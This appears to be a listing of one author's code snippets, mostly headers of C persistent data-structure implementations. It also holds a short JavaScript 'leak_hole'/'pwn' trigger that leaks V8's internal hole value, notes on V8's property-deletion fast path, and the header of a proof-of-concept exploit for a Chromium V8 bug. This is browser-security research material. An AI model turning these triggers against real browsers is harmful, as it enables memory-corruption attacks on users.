mistymntncop

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <assert.h>
#include <malloc.h>

//"A Persistent Union-Find Data Structure" (just the Persistent Array)
//https://usr.lmf.cnrs.fr/~jcf/publis/puf-wml07.pdf

mistymntncop

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <malloc.h>
#include <windows.h>

//Partially Persistent Red-Black Tree
//Imperative implementation of "Faster, Simpler Red-Black Trees" by Cameron Moy
//Implemented using Zippers

mistymntncop

function leak_hole() {
    let x;
    delete x?.[y]?.a;
    return y;
    let y;
}
function pwn() {
    let hole = leak_hole();
    %DebugPrint(hole);
}

mistymntncop

//Preconditons
//----------------------
// (1) The receiver must be a regular object and the key a unique name.
//        this excludes special objects such as globalThis, wasm object, etc
// (2) The property to be deleted must be the last property.
// (3) The property to be deleted must be deletable.
//        this excludes non-configurable properties. So no frozen or sealed objects.
// (4) The map must have a back pointer.
//        this excludes prototype maps
// (5) The last transition must have been caused by adding a property

mistymntncop

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <malloc.h>

//Iterative Relaxed B+Tree
//Just pedagogical. Based off Per Vognsen's B+Tree code
//https://gist.github.com/pervognsen/e7883b3de183fcd601c1edf7f7e9508b
// cl -Zi -Od /INCREMENTAL:NO persistent_btree.c

mistymntncop

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <malloc.h>

//Partially Persistent B+Tree
//Just pedagogical. Based off Per Vognsen's B+Tree code
//https://gist.github.com/pervognsen/e7883b3de183fcd601c1edf7f7e9508b
// cl -Zi -Od /INCREMENTAL:NO persistent_btree.c

mistymntncop

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <malloc.h>

//Partially Persistent B+Tree
//Just pedagogical. Based off Per Vognsen's B+Tree code
//https://gist.github.com/pervognsen/e7883b3de183fcd601c1edf7f7e9508b
// cl -Zi -Od /INCREMENTAL:NO persistent_btree.c

mistymntncop

#include <stdint.h>
#include <stdio.h>
#include <stdbool.h>
#include <malloc.h>
#include <string.h>

//Imperative implementation of "Faster, Simpler Red-Black Trees" by Cameron Moy
//https://ccs.neu.edu/~camoy/pub/red-black-tree.pdf
//https://github.com/zarif98sjs/RedBlackTree-An-Intuitive-Approach
//https://ranger.uta.edu/~weems/NOTES5311/sigcse05.pdf

mistymntncop

// POC Exploit for v8 issue 1104608 (https://bugs.chromium.org/p/chromium/issues/detail?id=1104608)
// author: @mistymntncop
// bug discovered by: @r3tr0spect2019
// Exploit strategy based on @r3tr0spect2019's "Real World CTF" presentation on the bug.
// https://www.youtube.com/watch?v=rSaIlBWwxsY
//
// Build d8 using:
// a) Run once
//    git checkout 3505cf00eb4c59b87f4b5ec9fc702f7935fdffd0
//    gclient sync --with_branch_heads

mistymntncop

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <malloc.h>
#include <assert.h>

//Partially Persistent Left-Leaning Red-Black Tree
//Implemented using Zippers
//https://sedgewick.io/wp-content/themes/sedgewick/papers/2008LLRB.pdf